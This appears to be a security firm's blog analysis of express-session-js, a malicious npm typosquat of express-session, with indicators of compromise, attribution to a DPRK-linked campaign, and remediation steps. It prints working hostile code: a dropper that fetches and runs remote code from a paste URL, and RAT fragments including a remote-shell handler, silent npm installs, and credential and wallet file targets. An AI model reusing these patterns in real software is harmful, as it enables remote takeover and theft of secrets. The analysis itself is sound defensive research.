---
title: "Malicious npm Package express-session-js Drops Full RAT Payload"
description: "A malicious npm package typosquatting express-session fetches and executes a full Remote Access Trojan from a paste service, targeting browser credentials, crypto wallets, SSH keys, and more."
url: "https://safedep.io/blog/malicious-npm-package-express-session-js"
author: "SafeDep Team"
published: "2026-04-02"
---

# Malicious npm Package express-session-js Drops Full RAT Payload

## TL;DR

`express-session-js@1.19.0` is a malicious npm package that typosquats the popular [`express-session`](https://www.npmjs.com/package/express-session) middleware (60M+ weekly downloads). It contains a dropper that fetches a ~93KB obfuscated payload from a paste service and executes it dynamically using `Function.constructor` on every `require()`. Static deobfuscation of the stage-2 payload reveals a full Remote Access Trojan (RAT) and information stealer that connects to `216[.]126[.]237[.]71` via Socket.IO, with capabilities including browser credential theft, crypto wallet extraction, screenshot capture, clipboard monitoring, keylogging, and remote mouse/keyboard control. Multiple indicators link this package to the **Contagious Interview** campaign, a DPRK/Lazarus operation that has published 338+ malicious npm packages.

**Impact:**

- Full remote access to the compromised system (mouse, keyboard, screenshots, clipboard)
- Browser credential theft (Chrome, Brave, Edge, Opera Login Data, Cookies, Web Data)
- Crypto wallet browser extension data theft
- SSH keys, GPG keys, npm tokens, and sensitive file exfiltration
- System information harvesting and file upload to attacker infrastructure

**Indicators of Compromise (IoC):**

- Package: `express-session-js@1.19.0` on npm
- C2 URL (dropper): `hxxps://jsonkeeper[.]com/b/YY8VI`
- C2 IP (RAT): `216[.]126[.]237[.]71`
- C2 Ports: `4801` (socket.io + API), `4806` (file upload), `4809` (browser DB sync)
- Attacker UID: `a36adbc35e69b22acbf9f834a0deb286`
- PID file: `~/.npm-compiler/<process.title>`
- Temp directory: `~/.npm-cache/__tmp__/`
- Globally installed npm packages: `socket.io-client`, `screenshot-desktop`, `clipboardy`, `@nut-tree-fork/nut-js`
- Maintainer: `judebelingham <viktoryavorovskiy@ukr[.]net>`
- SHA256 (tarball): `b5cca27ca1d792bd8c46b83fccfa4e5ba38916eb78877a19cbb39392ce98cc39`

## Analysis

### Package Overview

`express-session-js` was published on April 1, 2026 at 19:58 UTC by `judebelingham`. It has exactly one version: `1.19.0`. The real `express-session` is currently at `1.18.1`, maintained by `dougwilson` and `ulisesgascon`, so the version number was chosen to look like the "next" release.

The `package.json` metadata is copied wholesale from the legitimate project:

```json
// package.json (malicious)
{
  "name": "express-session-js",
  "version": "1.19.0",
  "description": "Simple session middleware for Express",
  "author": "TJ Holowaychuk <tj@vision-media.ca> (http://tjholowaychuk.com)",
  "repository": "expressjs/session",
  "license": "MIT"
}
```

The `author`, `contributors`, `repository`, `homepage`, and `bugs` fields all point to the real `expressjs/session` project. This is stolen metadata designed to pass a casual `npm info` check. The actual npm publisher is `judebelingham <viktoryavorovskiy@ukr[.]net>`, visible only in the `_npmUser` and `maintainers` fields, which are controlled by the registry and cannot be faked.

A search for other packages by this maintainer returns zero results: this is a throwaway account created for a single attack.

### Execution Trigger

The malicious code executes as a side effect of `require('express-session-js')`. No install hooks are used. The entry point is `index.js`, which is a near-verbatim copy of the legitimate `express-session@1.18.1` source with two surgical additions.

First, line 30 adds a dependency not present in the original:

```js
// package/index.js, line 30
var req = require('request');
```

The `request` module is not listed in `dependencies` (it would be resolved from the consumer's dependency tree or fail silently). It is used solely by the malicious payload to make HTTP requests.

Second, the dropper function is injected at lines 604-621, with its invocation at line 702:

```js
// package/index.js, lines 604-621
function initPlugin(reqoptions = { headers: { bearrtoken: 'logo' }, url: 'https://jsonkeeper.com/b/YY8VI' }, ret = 1) {
  const mreq = (atlf) => {
    req(reqoptions, (e, r, b) => {
      if (e || r.statusCode !== 200) {
        if (atlf > 0) {
          mreq(atlf - 1);
        }
        return;
      }
      try {
        const handler = new Function.constructor('require', JSON.parse(b).data);
        if (handler) handler(require);
      } catch (err) {
        if (atlf > 0) {
          mreq(atlf - 1);
        }
        return;
      }
    });
  };
  mreq(ret);
}
```

```js
// package/index.js, line 702
initPlugin();
```

A diff between the legitimate `express-session@1.18.1/index.js` and the malicious version confirms only three changes: the `require('request')` import, the `initPlugin` function, and its invocation call. The function is placed between `getcookie()` and `hash()`, sandwiched inside legitimate session management code where a reviewer might skip past it.

### Stage-2 Payload: Deobfuscation

The paste service at `hxxps://jsonkeeper[.]com/b/YY8VI` hosts a ~93KB JSON blob. The dropper extracts `.data` from the parsed response (`JSON.parse(b).data`), but the actual JSON returned by the paste service wraps the payload under `cookie`:

```json
// Response from hxxps://jsonkeeper[.]com/b/YY8VI
{
  "cookie": "function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5)..." // ~93KB obfuscated JS
}
```

`JSON.parse(b).data` evaluates to `undefined` with this structure, meaning the RAT payload would not execute through this specific dropper at the time of analysis. The paste service content is mutable though, so the attacker can rename the key to `data` (or update the dropper in a new package version) at any time.

A snippet of the raw stage-2 payload shows the level of obfuscation:

```js
// Stage-2 payload from hxxps://jsonkeeper[.]com/b/YY8VI (truncated)
function c(b,d){b=b-(-0xd08+-0x2*0x633+-0x575*-0x5);var e=a();var f=e[b];
if(c['JUoTLE']===undefined){var g=function(l){var m='abcdefghijklmnopqrstu
vwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var n='',o='';for(var p=
-0x1dd9+-0x2520+0x42f9,q,r,s=-0x1294+-0x22a+0x14be;r=l['charAt'](s++);~r
&&(q=p%(-0x2190+0x1435+0xd5f)?q*(0xa*-0x223+-0x7dc+0x1d7a)+r:r,p++%
(0xaab*0x3+-0xde5*-0x2+-0x3bc7))?n+=String['fromCharCode'](0x2258+-0x16b5
+0x1c6*-0x6&q>>(-(0x16fe+-0x7f*-0x1b+0x2461*-0x1)*p&0x254a+-0x1de*-0x3
+-0x2ade)):0x0){r=m['indexOf'](r);}/*...93KB continues...*/
```

The obfuscated payload uses a standard JavaScript obfuscator pattern with:

- A 1,334-element string array shuffled by a rotation function (rotation offset: 369)
- Two decoder functions: `b()` for base64 decode (custom lowercase-first alphabet), `c()` for base64 + RC4 decryption with per-call keys
- A webpack-style module bundler with two internal modules

We performed full static deobfuscation by reimplementing the custom base64 decoder (alphabet: `abcdefghijklmnopqrstuvwxyz` before `ABCDEFGHIJKLMNOPQRSTUVWXYZ`) and the RC4 decryption in Python, then brute-forced the array rotation by evaluating the shuffle function's checksum against the target value `804499`. This allowed us to decode all 1,057 unique string references in the payload without executing any code.

### Stage-2 Payload: C2 Configuration

Module `0x110` in the payload contains a JSON configuration object that was decoded to:

```json
{
  "uid": "a36adbc35e69b22acbf9f834a0deb286",
  "ukey": 804,
  "t": 8,
  "p": 4801,
  "kp": 4808,
  "lpt": 4809,
  "upt": 4806,
  "a": 216,
  "b": 126,
  "c": 237,
  "d": 71,
  "e": 216,
  "f": 126,
  "g": 237,
  "h": 71
}
```

Fields `a` through `h` are IP address octets. The payload constructs the C2 address by joining them with dots:

- `a.b.c.d` = `216[.]126[.]237[.]71`
- `e.f.g.h` = `216[.]126[.]237[.]71` (same address)

The `uid` field is the attacker's campaign identifier. The port fields map to different services: `p` (4801) for the main Socket.IO connection and API endpoints, `upt` (4806) for file uploads, and `kp`/`lpt` (4808/4809) for additional data channels.

Module `0x13d` loads `child_process` via the `require` function passed from the dropper, giving the payload access to `execSync`, `exec`, and `spawn`.

### Stage-2 Payload: RAT Capabilities

The outer loader spawns 4 detached `node -e` child processes, each a self-contained module. Combined, they form a full-featured Remote Access Trojan.

**Remote Shell and Desktop Control (Command 1)**

None of the RAT's dependencies (`socket.io-client`, `screenshot-desktop`, `clipboardy`, `@nut-tree-fork/nut-js`, `sharp`) are bundled in the malicious package itself. Instead, the payload installs them globally on the victim's system at runtime via `execSync`. This keeps the package tarball small and avoids static analysis tools flagging suspicious native modules in the package contents.

The decoded command 1 string array contains the literal install command:

```
'npm install -g socket.io-client '
'--save --no-warnings --no-save -'   // continues: '--no-progress --loglevel silent'
'Installing socket.io-client'         // log message sent to C2 before install
```

Reconstructed from the decoded string fragments, the full install call is:

```js
// Decoded from command 1 string array
execSync(
  'npm install -g socket.io-client screenshot-desktop clipboardy ' +
    '@nut-tree-fork/nut-js --save --no-warnings --no-save ' +
    '--no-progress --loglevel silent',
  { windowsHide: true }
);
```

The flags suppress all visible output: `--loglevel silent` and `--no-progress` prevent terminal output, `windowsHide: true` prevents a console window on Windows. The global install (`-g`) ensures the modules are available to the detached child processes that run independently from the original package.

After installation, the module connects to the C2 via `socket.io-client`. The connection uses Socket.IO specific options visible in the decoded code:

```js
// Decoded from command 1 (socket.io connection)
io('http://' + C2_IP + ':' + port, {
  reconnectionAttempts: 0,
  reconnectionDelay: 2000, // 0x7d0
  timeout: 2000000, // 0x1e8480
});
```

It then registers 13 Socket.IO event handlers for full remote control:

```js
// Remote shell execution
socket.on('command', (data) => {
  exec(data.message, { windowsHide: true, maxBuffer: 10 * 1024 * 1024, cwd: os.homedir() }, (err, stdout, stderr) => {
    socket.emit('result', { ...data, result: stdout, uid, t });
  });
});

// Screenshot capture (compressed via sharp)
socket.on('screenshot', async ({ quality, sid }) => {
  let img = await screenshotDesktop({ format: 'png' });
  img = await sharp(img).jpeg({ quality, mozjpeg: true }).toBuffer();
  socket.emit('screenshotResult', { sid, img: img.toString('base64') });
});

// Mouse control via @nut-tree-fork/nut-js
socket.on('mouseMove', async ({ x, y }) => {
  /* ... */
});
socket.on('mouseClick', async (button) => {
  /* LEFT/MIDDLE/RIGHT */
});
socket.on('mouseScroll', async ({ direction, amount }) => {
  /* ... */
});

// Keyboard control
socket.on('keyboard', async ({ type, key }) => {
  /* pressKey/releaseKey */
});
socket.on('keyCombo', async ({ modifiers, key }) => {
  /* e.g. Ctrl+V */
});

// Clipboard
socket.on('getClipboard', async (data) => {
  /* read and exfiltrate */
});
socket.on('pasteText', async (data) => {
  /* write + simulate Ctrl+V */
});
```

A PID file at `~/.npm-compiler/<process.title>` ensures only one instance runs. If another instance is detected, the new one exits silently.

**Browser Credential Theft (Command 2)**

The second module targets browser data directories across Windows, macOS, and Linux:

- Chrome: `Google/Chrome/User Data`, `.config/google-chrome`
- Brave: `BraveSoftware/Brave-Browser/User`, `.config/BraveSoftware/Brave-Browser`
- Edge: `Microsoft/Edge/User Data`, `.config/microsoft-edge`
- Opera: `operasoftware.Opera`
- LT Browser: `LT Browser/User Data`, `.config/lt-browser`

From each browser profile (`Default`, `Profile 1`, etc.), it extracts three SQLite databases: `Login Data` (saved passwords), `Cookies`, and `Web Data` (autofill). On macOS, it also steals the login Keychain:

```js
// Decoded from command 2
await uploadFile(process.env.HOME + '/Library/Keychains/login.keychain-db');
```

**Crypto Wallet Extension Theft (Command 2)**

The same browser theft module scans `Local Extension Settings/` directories for crypto wallet extension IDs:

```
nkbihfbeogaeaoehlefnkodbefgpgknn     (MetaMask)
aholpfdialjgjfhomihkjbmgjidlcdno
bfnaelmomeimhlpmgjnjophhpkkoljpa
aeachknmefphepccionboohckonoeemg
egjidjbpglichdcondbcbdnbeeppgdph
ppbibelpcjmhbdihakflkdcoccbgbkpo
hifafgmccdpekplomjjkcfgodnhcellj
... (24+ extension IDs total)
```

It copies each wallet's LevelDB storage to a temp directory (`~/.npm-cache/__tmp__/`) and uploads all files to `hxxp://216[.]126[.]237[.]71:4809/upload` via `FormData`.

**Sensitive File Scanning (Command 3)**

The third module recursively scans the user's home directory for sensitive files:

- SSH keys: `.ssh`
- GPG keys: `.gnupg`
- npm credentials: `.npmrc`, `.npm`
- Cloud credentials: `.aws`
- File patterns: `*.pem`, `*.key`, `*.secret`, `*.env*`, `*.csv`, `*.sqlite`, `*.pdf`, `*.doc*`

It skips common non-sensitive directories (`node_modules`, `dist`, `.git`, `cache`, etc.) and uploads matching files under 5MB to the C2.

**Data Exfiltration**

Stolen data is sent to `216[.]126[.]237[.]71` through multiple channels:

- Socket.IO on port `4801`: bidirectional command and control, shell results, screenshots
- `POST /api/service/makelog` on port `4801`: operational logging, clipboard content
- `POST /api/service/process/<uid>` on port `4801`: system info, VM detection results
- `POST /upload` on port `4806`: file exfiltration via `FormData`
- `POST /cldbs` on port `4809`: browser database sync queries

At the time of writing, the C2 infrastructure is live. A Socket.IO handshake probe on port 4801 returned a valid session:

```
0{"sid":"INqUCe-RszMuKygCACih","upgrades":["websocket"],
 "pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}
```

Port 4809 responded with Express.js headers, CORS wide open:

```
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
```

Only the three ports from the decoded config (4801, 4806, 4809) are open; neighboring ports (4802, 4803, 4805, 4810) are closed, confirming the infrastructure matches the payload configuration exactly. The dropper payload at `hxxps://jsonkeeper[.]com/b/YY8VI` also remains live (HTTP 200, 93,229 bytes).

**Evasion**

VM/sandbox detection uses platform-specific checks before reporting to C2:

```js
// Decoded from command 1
// Windows: WMI query
execSync('powershell -NoProfile -Command "Get-CimInstance Win32_ComputerSystem | Select-Object Model,Manufacturer"');
// macOS: system_profiler
execSync('system_profiler SPHardwareDataType');
// Linux: /proc/cpuinfo
fs.readFileSync('/proc/cpuinfo', 'utf8');
// All checked against: /vmware|virtualbox|qemu|parallels|kvm|xen|bochs|hypervisor/i
```

Additional evasion techniques:

- Error silencing: `process.on('uncaughtException', () => {})` and `process.on('unhandledRejection', () => {})`
- PID file at `~/.npm-compiler/` to avoid running multiple instances
- Runtime dependency installation with `--loglevel silent --no-progress` to suppress output
- Spawned as detached processes with `stdio: 'ignore'` and `windowsHide: true`

### Campaign Attribution: Contagious Interview (DPRK/Lazarus)

Multiple indicators tie this package to the **Contagious Interview** campaign, a North Korean state-sponsored operation attributed to a Lazarus subgroup (tracked as Famous Chollima, UNC5342, DeceptiveDevelopment, and Sapphire Sleet by various vendors).

**C2 hosting on RouterHosting/Cloudzy (AS14956):** The C2 IP `216[.]126[.]237[.]71` is hosted on AS14956 (RouterHosting LLC, operating as Cloudzy), [documented by FOFA](https://medium.com/@fofabot/fofa-5-0-new-discovery-tracking-apt-contagious-interview-iocs-601e01106029) as Contagious Interview's preferred VPS provider. Other IPs in the same /16 range have been confirmed as Lazarus C2 infrastructure: `216.126.229.166:1224` was [flagged by ThreatBook](https://x.com/ThreatBookLabs/status/1925193613002346541), and `216.126.227.239` was identified by [Red Asgard](https://redasgard.com/blog/hunting-lazarus-contagious-interview-c2-infrastructure) as Contagious Interview FTP infrastructure.

**jsonkeeper.com as payload host:** Using JSON storage services for malware delivery is a confirmed Contagious Interview TTP. [NVISO Labs documented](https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/) 16+ jsonkeeper.com URLs used by this campaign, and [Microsoft confirmed](https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/) the same pattern in their reporting.

**OtterCookie malware toolkit:** The combination of `socket.io-client` for C2 communication, `screenshot-desktop` for screen capture, `sharp` for image compression, and `clipboardy` for clipboard access matches the [documented OtterCookie v4/v5 module set](https://thehackernews.com/2024/12/north-korean-hackers-deploy-ottercookie.html). The addition of `@nut-tree-fork/nut-js` for mouse and keyboard control may represent a capability upgrade to full remote desktop interaction, beyond the keylogging and screenshot capabilities documented in earlier OtterCookie versions.

**Scale:** This campaign has published [338+ malicious npm packages](https://securityonline.info/north-korean-apt-contagious-interview-floods-npm-registry-with-338-malicious-packages-to-steal-crypto/) using typosquatting across the npm ecosystem.

### Summary of Red Flags

| Signal                 | Detail                                                              |
| ---------------------- | ------------------------------------------------------------------- |
| Single version         | Only `1.19.0`, no prior history                                     |
| Version squatting      | Real `express-session` is at `1.18.x`                               |
| Stolen metadata        | `author`, `repository`, `homepage` all point to `expressjs/session` |
| Throwaway maintainer   | `judebelingham` has no other packages                               |
| Added dependency       | `require('request')` not in the original                            |
| Dynamic code execution | `Function.constructor` with fetched payload                         |
| Mutable C2             | Paste service URL can be updated at any time                        |
| Full RAT payload       | Remote control, credential theft, crypto wallet theft, keylogging   |
| DPRK attribution       | C2 on Lazarus-linked hosting, OtterCookie toolkit, jsonkeeper TTP   |

## What To Do If Affected

Remove the package immediately:

```bash
npm remove express-session-js
```

Because the stage-2 payload is a full RAT with credential theft capabilities, any system that imported `express-session-js` should be treated as fully compromised:

- Rotate all secrets, API keys, and credentials accessible on the system
- Revoke and regenerate SSH keys and GPG keys
- Change passwords for any accounts with saved browser credentials
- Check crypto wallet extensions for unauthorized transactions
- Review npm tokens and revoke any that were stored in `.npmrc`
- Audit the system for persistence mechanisms (PID files, installed packages like `socket.io-client`, `screenshot-desktop`, `clipboardy`)

## How SafeDep Can Help

The free and open source tool [`vet`](https://github.com/safedep/vet) integrates with SafeDep Cloud's malicious package scanning service to detect threats like this before installation. [`vet-action`](https://github.com/safedep/vet-action) provides the same protection as a GitHub Actions guardrail.

## References

- [npm registry: express-session-js](https://www.npmjs.com/package/express-session-js) (may be taken down)
- [Legitimate express-session package](https://www.npmjs.com/package/express-session)
- [NVISO Labs: Contagious Interview actors utilize JSON storage services](https://blog.nviso.eu/2025/11/13/contagious-interview-actors-now-utilize-json-storage-services-for-malware-delivery/)
- [FOFA: Tracking APT Contagious Interview IOCs](https://medium.com/@fofabot/fofa-5-0-new-discovery-tracking-apt-contagious-interview-iocs-601e01106029)
- [Red Asgard: Hunting Lazarus Contagious Interview C2 Infrastructure](https://redasgard.com/blog/hunting-lazarus-contagious-interview-c2-infrastructure)
- [The Hacker News: North Korean Hackers Deploy OtterCookie](https://thehackernews.com/2024/12/north-korean-hackers-deploy-ottercookie.html)
- [SecurityOnline: 338 Malicious npm Packages](https://securityonline.info/north-korean-apt-contagious-interview-floods-npm-registry-with-338-malicious-packages-to-steal-crypto/)
- [SafeDep analysis of express-cookie-parser typosquat](https://safedep.io/blog/malicious-npm-package-express-cookie-parser) (similar attack pattern)
- [SafeDep analysis of multiple npm packages compromised](https://safedep.io/blog/multiple-npm-packages-compromised-billion-downloads)
